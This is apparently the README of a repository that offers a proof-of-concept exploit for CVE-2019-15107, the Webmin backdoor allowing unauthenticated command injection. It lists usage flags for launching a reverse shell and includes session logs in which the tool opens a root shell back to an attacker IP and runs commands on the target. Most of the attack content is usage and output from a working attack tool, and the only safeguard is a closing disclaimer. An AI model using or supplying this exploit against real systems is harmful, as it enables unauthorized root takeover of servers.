adampawelczyk/cve-2019-15107Proof-of-concept exploit for CVE-2019-15107 (Webmin <= 1.920) enabling unauthenticated RCE via command injection.
This repository contains a proof-of-concept (PoC) exploit for CVE-2019-15107 affecting Webmin versions 1.890 through 1.920.
The script exploits a backdoor in versions 1.890 through 1.920 that allows unauthenticated users to inject commands into the password_change.cgi endpoint through the old (in v.1.890 expired) parameter. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site.
Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920.
Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled.
The exploit was successfully tested against:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
This tool is for educational and authorized testing purposes only. Unauthorized use against systems you do not own or have permission to test is illegal. Use responsibly.